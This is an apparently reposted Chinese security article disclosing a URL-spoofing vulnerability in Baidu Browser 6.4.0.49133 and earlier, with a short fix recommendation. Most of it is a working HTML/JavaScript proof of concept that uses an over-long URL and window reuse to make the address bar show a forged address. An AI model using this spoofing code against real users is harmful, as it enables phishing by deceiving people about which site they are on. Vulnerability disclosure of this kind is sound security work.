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百度浏览器近期发现漏洞,百度浏览器6.4.0.49133以及以前版本伪造任意网址漏洞,伪造任意协议(http/https/ftp...)、域名、网址URL长度大于4KB时处理出错,例如将证明文件保存为c:\a.htm并打开,点击连接后可以伪造任意网址。 同时URL过长的时候,会显示“已收藏”图标,估计是处理过长url时逻辑有点小问题漏洞证明: 复制代码 代码如下: <html>
<div id='c' style=''> //displaynone ss </div> <a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript:1;','newwin');">just click me</a> <script> function invokePoC() { wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ","newwin");//setInterval("doit()",5000); } if(window.name == "newwin") { document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>"); document.getElementById('v').style.display = 'none';} </script> </html> 修复方案: 无效URL及时过滤,以防止伪造网址,谢谢阅读,希望能帮到大家,请继续关注极客世界,我们会努力分享更多优秀的文章。 |
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